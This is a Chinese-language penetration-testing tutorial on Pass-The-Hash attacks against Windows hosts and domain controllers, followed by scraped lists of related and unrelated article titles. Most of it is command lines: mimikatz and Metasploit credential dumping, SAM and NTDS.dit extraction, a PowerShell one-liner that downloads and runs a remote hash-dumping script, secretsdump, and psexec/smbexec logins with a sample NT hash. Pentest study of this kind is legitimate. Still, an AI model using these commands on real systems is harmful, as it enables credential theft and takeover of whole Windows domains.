0x01 PTH简介

PTH,即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是在目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的,二是随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,综上,只有hash,我们依然可以正常登录。

PTH攻击最酷的地方并不是hash传递利用的过程,而是hash的获取过程,所以接下来90%的篇幅为hash获取的内容。

0x02 Hash获取

普通PC的Hash获取

2.1 mimikatz

神器mimikatz,需要注意的是:你首先得拥有本地管理员的执行的权限。

privilege::debug
sekurlsa::logonpasswords
2.2 Nishang

powershell的代表,它也是具备获取hash的能力的:

powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.15.216:8888/Gather/Get-PassHashes.ps1');Get-PassHashes
2.3 功能齐全的msf

来梳理下msf支持多少种hash获取方式:
1.本身的处理模块

hashdump
run hashdump
run post/windows/gather/smart_hashdump

2.除了meterpreter自带的,还可以通过加载mimikatz获得:

load mimikatz(必须,否则无以下命令)
msv
tspkg
wdigest
kerberos
ssp

对应字段如下,着重提下ssp,这里记录的是ipc$的密码

mimikatz的原生命令在这里有些不在适用,但记得hash获取命令

mimikatz_command -f samdump::hashes

2.4 SAM表获取hash

导出SAM数据:

reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

使用mimikatz提取hash:

lsadump::sam /sam:SAM /system:SYSTEM

域的Hash获取

首先同普通PC的Hash获取思路,但是不一样的是,你要晓得两件事情

  • 即使是DC,常规获取hash的思路你依然只能获取本地用户的hash,并不能获取整个域的用户hash,当然,你依然可以拿到域管理员的hash,确实也有了登录整个域的权限。

  • 即使是域内用户机,常规获取hash的思路依然有可能拿到域管理员的hash,只要域管理员通过RDP登录过,就会将hash保存到lsass中。

2.5 NTDS.dit获取域控hash

这个思路在域渗透中尤为重要,因为这里面包含着所有域用户的hash,当然该思路只对DC生效。

手动导出NTDS.dit和System-hive,本地或目标机导hash,因为,如果域足够大,该文件也会特别大。

除了手动找路径,可以参见下面的导出命令:

ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q

这里域用户只有几个,但文件大小高达36M。

接下来我们需要提取用户hash,推荐NTDSDumpEx:

工具地址:https://github.com/zcgonvh/NTDSDumpEx/releases

NTDSDumpEx -d ntds.dit -s system -o domain.txt

同样,再推荐个工具,还是我们多次提到过的python第三方库impacket下的secretsdump。

python secretsdump.py -system SYSTEM -ntds ntds.dit local

2.6 secretsdump脚本直接导出域hash

为什么要再提一遍secretsdump呢,因为它可以直接导出,说白了,就是把我们的手工任务自动执行一边,放在最后说也是为了让大家明白它的工作原理。

python secretsdump.py rabbitmask:1q2w3e4r!@192.168.15.181

首先它会导出本地SAM中的hash,然后是所有域内用户的IP,全部获取成功。

0x03 Hash传递

3.1 msf中的psexec模块

use exploit/windows/smb/psexec
set rhosts 192.168.15.181
set smbuser rabbitmask
set smbpass aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4

3.1 impacket_smbexec

python smbexec.py -hash esaad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4 rabbitmask@192.168.15.181

or

python smbexec.py -hashes :0515322a55615056aaabb044a48463a4 rabbitmask@192.168.15.181

0x04 参考链接

https://www.freebuf.com/articles/system/217681.html

[内网渗透]HASH获取与HASH传递的更多相关文章

  1. 内网渗透-横向移动($IPC&at&schtasks)

    内网渗透-横向移动 #建立ipc连接并将后门添加至计划任务 前置条件:获取到某域主机权限->得到明文或者hash,通过信息收集到的用户列表当做用户名字典->用得到的密码明文当做密码字典 本 ...

  2. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

  3. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  4. 内网渗透之IPC,远程执行

    开启服务 net start Schedule net start wmiApSrv 关闭防火墙 net stop sharedaccess net use \\目标IP\ipc$ "&qu ...

  5. 7.内网渗透之windows认证机制

    文章参考自三好学生域渗透系列文章 看了内网渗透第五篇文章,发现如果想要真正了解PTT,PTH攻击流程,还需要了解windows的认证机制,包括域内的kerberos协议. windows认证机制 在域 ...

  6. 5.内网渗透之PTH&PTT&PTK

    ---------------------------------------------- 本文参考自三好学生-域渗透系列文章 内网渗透之PTH&PTT&PTK PTH(pass-t ...

  7. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

  8. 内网渗透之Windows认证(二)

    title: 内网渗透之Windows认证(二) categories: 内网渗透 id: 6 key: 域渗透基础 description: Windows认证协议 abbrlink: d6b7 d ...

  9. [原创]K8 Cscan 3.6大型内网渗透自定义扫描器

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...

  10. [原创]K8 cping 3.0大型内网渗透扫描工具

    [原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...

随机推荐

  1. MongoDB和Java(1):Linux下的MongoDB安装

    最近花了一些时间学习了下MongoDB数据库,感觉还是比较全面系统的,涉及了软件安装.客户端操作.安全认证.副本集和分布式集群搭建,以及使用Spring Data连接MongoDB进行数据操作,收获很 ...

  2. OpenSSL X509 Funtion

    OpenSSL X509 Funtion 来源:https://blog.csdn.net/wanjie518/article/details/6570141 现有的证书大都采用X509规范, 主要同 ...

  3. Java visualvm

    简介 VisualVM是一个集成多个JDK命令行工具的可视化工具.可以作为Java应用程序性能分析和运行监控的工具.开发人员可以利用它来监控.分 析线程信息,浏览内存堆数据.系统管理员可以利用它来监测 ...

  4. Linux 服务控制与运行级别

    如何控制服务的运行状态?如何切换不同的运行级别? 服务控制 ntsysv 仿图形交互界面,集中配置各种服务启动状态 --level 35:同时对指定运行级别中的服务进行管理,不加仅管理当前运行级别中的 ...

  5. HTML常用全部代码--第一部分--HTML/CSS( 小伙伴要牢记😁😁😁😁 )

    <一>html代码大全:结构性定义 (1) 文件类型<HTML></HTML> (放在档案的开头与结尾) (2) 文件主题<TITLE></TIT ...

  6. python assert 在正式产品里禁用的手法 直接-O即可

    How do I disable assertions in Python? There are multiple approaches that affect a single process, t ...

  7. 关于微信小程序在ios中无法调起摄像头问题

    这几天关于微信小程序开发关于wx.chooseVideo组件问题,因为自己一直是安卓手机上测试,可以调取摄像头,但是应用在ios上无法打开摄像头,困扰了好多天,经过反复查看官方文档,今天总算修复了这个 ...

  8. scala 中的匹配模式

    unapply 仅作匹配,不作其它输出.返回 Boolean 值 object UpperCase { def unapply(s: String): Boolean = s.toUpperCase ...

  9. 学习Microsoft Visio(2)

    常用业务设计图示法 一.业务设计基础 1.名词概念 业务流程图:在公司.部门.岗位的层面上描述一个业务流程的宏观过程. 基本流程图:对某个处理过程的详细逻辑流程进行描述. 静态业务对象图(UML表示法 ...

  10. JavaScript——判断页面是否加载完成

    前言 接上文,既然你是做一个loading的效果,你总不能一直loading,当页面完成加载的时候你总要结束吧 步骤 先说下原生的方法,再讲jquery的方法,原理是一样的 JavaScript // ...